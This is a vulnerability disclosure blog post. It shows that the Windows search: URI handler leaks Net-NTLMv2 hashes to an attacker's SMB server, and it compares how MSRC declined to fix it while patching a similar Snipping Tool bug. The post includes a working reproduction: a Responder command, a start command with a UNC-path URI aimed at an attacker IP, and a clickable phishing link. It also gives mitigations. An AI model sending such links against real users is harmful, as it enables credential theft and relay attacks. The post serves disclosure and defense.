When "Moderate" Means "Sometimes"

Acknowledgments:A special thank you to Tyler Bohlmann, Jon Semon, Lindsey O'Donnell-Welch, Aaron Deal, and Beth Robinson for their contributions and edits to this blog. And a big thank you to Casey Smith for reviewing a draft of this post and asking the right uncomfortable question: does this really fire from a clicked link, or just from a typed command? Testing the link-click delivery and adding the Edge screenshot was a direct result of his feedback.

On April 14, 2026, Microsoft patched CVE-2026-33829, an NTLM credential leakage bug in the Windows Snipping Tool with a CVSS score of 4.3. The issue lived in the Snipping Tool’s ms-screensketch: URI handler, the part of Windows that decides what to do when someone clicks a special kind of link. Technically, the Snipping Tool’s URI handler accepted a filePath parameter, didn't validate it, and would happily reach out to whatever UNC path you handed it. That connection could trigger NTLM authentication and expose the victim’s Net-NTLMv2 hash. In plain English: a user could be tricked into clicking what looks like an ordinary link, and their computer would automatically try to “check in” with a server controlled by the attacker.

That matters because the bug did not require malware or a complicated exploit chain to be useful; it abused a built-in Windows authentication behavior. A Net-NTLMv2 hash is not the user’s raw password, but it is still a valuable authentication artifact. An attacker may be able to capture it with tools like Responder, then use it in follow-on activity such as NTLM relay attacks or offline password-cracking attempts, depending on how the target environment is configured. Put more simply: the victim may never download anything malicious at all, but a single click could still leak credentials in a form that helps an attacker gain access or move deeper into a network.

The day after that patch shipped, I reported the same underlying behavior in a different Windows URI handler: search: instead of ms-screensketch:, and crumb=location: instead of filePath. The labels changed, but the security impact did not. It used the same NTLM leakage mechanism, produced the same Net-NTLMv2 leak, had the same prerequisites, and carried the same Moderate rating. MSRC closed it. Below the servicing bar. No CVE, no fix.

Same primitive class, same vendor, same severity, opposite outcome. That's the post.

The bug

Windows 11 25H2 Pro, Build 26200.8524, standard user tony.soprano on workstation NEWJERSEY. No admin, no developer mode, no AppX. Defender on defaults. Zero alerts.

Attacker side, Responder on a Kali host at 10.0.1.100:

responder -I eth0 -wv

Victim side, from cmd:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

The start "" form with quotes matters. If you paste the URI bare into cmd, the & parses as a command separator and cmd tries to run crumb as its own command. Half the people who try to repro this will hit that and assume it's broken. It isn't.

Figure 1: Left: cmd start "" invocation and the resulting access-denied dialog.
    Right: Responder catching tony.soprano::NEWJERSEY within a second of the URI firing.

Windows shows the user "Windows cannot access the specified device, path, or file." The dialog is a receipt. The hash left the machine before Windows rendered the error.

First invocation per logon leaks the hash. Subsequent invocations return access denied until the user logs out and back in. For phishing delivery, the first shot is the only shot that matters.

And yes, link-click works too…

Figure 2: <a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a> in Edge. One click, no prompt, hash on Responder. The threat model is "send a link."

Two doors, one room

search: and search-ms: are registered separately in HKCR. Both have the same command line and the same DelegateExecute CLSID.

Figure 3: Same command, same DelegateExecute CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b}. Two URI schemes, one COM activation path.

DelegateExecute tells the shell to hand off URI activation to a COM class rather than running the command line directly. Both schemes point at the same CLSID, which Geoff Chappell's reverse-engineering work and Strontic's xCyclopedia both identify as SearchExecute (also called CLSID_SearchMSExecute), implemented in ExplorerFrame.dll. They aren't sibling handlers that happen to look alike. They're two URI schemes wired to one COM activation path inside ExplorerFrame.dll, and whatever input validation SearchExecute does or doesn't do applies to both.

That also means any real fix has to land in SearchExecute or in the Explorer code it calls, not at the URI scheme level. Patching search-ms: alone wouldn't help.

The crumb=location: UNC leakage primitive on search-ms: was documented by Varonis in 2024 and closed Moderate. The search: handler as an attack vector was documented by Trellix in 2023. The intersection (bare search: plus crumb=location: for NTLM leakage) isn't in the public record that I can find. But the technical novelty is bridging two known facts. The MSRC triage story is what's actually new.

The snipping tool problem

I asked MSRC what distinguishes the two. The answer, verbatim:

"Typically, only Important and Critical severity cases meet our bar for servicing... Unfortunately, there are different factors that come in to play which sometimes causes exception to our standard processes."

"Case-by-case." That's the rule. CVE-2026-33829 was the exception that got serviced. Mine wasn't. Varonis's search-ms: in 2024 wasn't. Varonis's WPA URI handler leakage in 2024 wasn't. Whether a Moderate-severity URI-handler NTLM leakage gets fixed is, per Microsoft's own description, exception-driven. ¯\_(ツ)_/¯

When I pointed out that CVE-2026-33829 was itself rated Moderate severity, MSRC confirmed it:

"Yes, CVE-2026-33829 is marked as Moderate severity, which is why I mentioned that it is not our typical process to publish CVE's for anything but Important/Critical. If you were to report any bug to us which met our bar for immediate servicing with an Important/Critical severity rating, we are happy to assign a CVE to it along with our fix release, per our process."

Which is to say: yes, the comparator is Moderate. Both are Moderate. The reason one got a CVE, and one didn't, is that one was an exception and one wasn't. That's the policy, stated.

This post lands during a particularly active period of public discussion around MSRC's disclosure and servicing practices. The pattern documented here is not new and not unique, just specific.

If your patch program triages by "did Microsoft issue a CVE," you patched the Snipping Tool last month and you have no signal at all about the bug in this post. Or the Varonis ones. Or whatever comes next.

Mitigation

Block outbound SMB (TCP/445 and TCP/139) on hosts that don't need it. Single highest-value mitigation kills the whole class.

Enforce SMB signing so captured hashes can't be relayed against internal services.

Disable NTLM where you can. RestrictSendingNTLMTraffic set to 2 (Deny all). Audit first, this will break things.

Alert on search: and search-ms: URIs in mail flow and proxy logs. Neither belongs in legitimate traffic. If you alert on search-ms: already, add search: to the same rule. The syntax is identical.

Disclosure timeline